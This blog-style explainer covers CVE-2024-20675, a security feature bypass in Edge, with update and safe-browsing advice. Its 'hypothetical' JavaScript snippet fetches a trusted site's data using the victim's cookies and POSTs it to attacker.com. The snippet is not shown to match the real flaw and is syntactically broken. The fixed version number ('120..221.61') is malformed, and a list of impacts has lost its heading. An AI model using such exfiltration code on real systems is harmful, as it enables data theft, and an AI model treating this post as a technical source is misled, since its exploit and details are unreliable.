In the world of cyber security, browser vulnerabilities are some of the most dangerous flaws. Browsers are gateways to the internet—if one is compromised, attackers can put your data, your credentials, and your privacy at risk. One such recent threat is CVE-2024-20675, a Security Feature Bypass vulnerability in Chromium-based Microsoft Edge. This post gives you a straightforward understanding of what it is, how it works, how it can be exploited (with sample code), and what you can do about it.

What is CVE-2024-20675?

CVE-2024-20675 is a security flaw in Microsoft Edge (Chromium-based browsers) that, when exploited, allows attackers to bypass important security features designed to protect users from malicious websites or code.

Severity: High
Type: Security Feature Bypass
CVE ID: CVE-2024-20675
Affected Products: Microsoft Edge (Chromium-based, prior to 120..221.61)

> Reference:
> - Microsoft Security Response Center Advisory
> - NIST NVD Detail

How Does the Vulnerability Work?

Microsoft Edge leverages the Chromium engine. It includes various security features: sandboxing, Same Origin Policy, and more. CVE-2024-20675 lets attackers bypass some of these features. Specifically, the flaw exists in how the browser handles certain web content, which can let a malicious webpage skirt around security mechanisms.

The vulnerability can be triggered by tricking a user into visiting a specially crafted website. No user interaction beyond visiting the malicious page is needed.

Run unwanted JavaScript code in your browser

- Interact with resources or data that would usually be protected by domain boundaries (Same-Origin Policy)

Simplified Exploit Sample

*Note: This is a hypothetical snippet based on available public information, as Microsoft and Chromium project have not published full exploit details.*

// Hypothetical snippet to trigger a security feature bypass
// For education only

// This assumes the attacker found a way to load privileged resources from another origin
fetch('https://trusted-site.com/protected-data';, {
  credentials: 'include'
})
.then(response => response.text())
.then(data => {
  // Send stolen data to attacker's server
  fetch('https://attacker.com/collect';, {
    method: 'POST',
    body: JSON.stringify({ stolen: data }),
    headers: { 'Content-Type': 'application/json' }
  });
});

In this example, the attacker instructs your browser to fetch sensitive information from a trusted site (leveraging the victim’s cookies or credentials), then exfiltrates that data. Normally, browsers would block this—but by exploiting CVE-2024-20675, these protections might fail.

Technical Details

Most details are still under wraps as vendors try to limit active exploitation, but public information suggests:

Impact: Confidentiality and integrity compromise

Microsoft details this in their security update:

> *"A security feature bypass vulnerability exists when Microsoft Edge (Chromium-based) fails to properly enforce security restrictions. An attacker who successfully exploited the vulnerability could bypass security restrictions and execute arbitrary actions."*

Proof-of-Concept (PoC) Resources

Since this is new, there isn’t a public working PoC on GitHub or ExploitDB at the time of writing. However, you can watch for one at repositories like:

- Exploit-DB: Search for CVE-2024-20675
- GitHub Security Advisories

How To Protect Yourself

1. Update Edge Immediately.
The simplest and best protection is to update Microsoft Edge. Open Edge, navigate to edge://settings/help, and ensure it’s at least v120..221.61 or newer.

2. Be Careful With Links.
Don’t click links from untrusted sources. This exploit requires you to visit a crafted site.

3. Consider Browser Isolation.
For high-risk browsing, use guest or incognito mode, or a virtual machine.

4. Enable Advanced Security Settings.
Edge includes settings like Enhanced Security, which may help mitigate risk.

Closing Thoughts

CVE-2024-20675 is a reminder that even “secure” browsers can have dangerous flaws. Attackers are hungry for ways to skirt browser protections. Always update your software, stay alert for suspicious sites, and be aware of the latest vulnerabilities.

References

- Microsoft Security Response on CVE-2024-20675
- NIST NVD - CVE-2024-20675
- Microsoft Edge Release Notes


*Copyright © 2024. Reproduction with proper credit only. This post is based on exclusive research and publicly available data as of June 2024.*

Timeline

Published on: 01/11/2024 21:15:13 UTC
Last modified on: 01/18/2024 19:14:08 UTC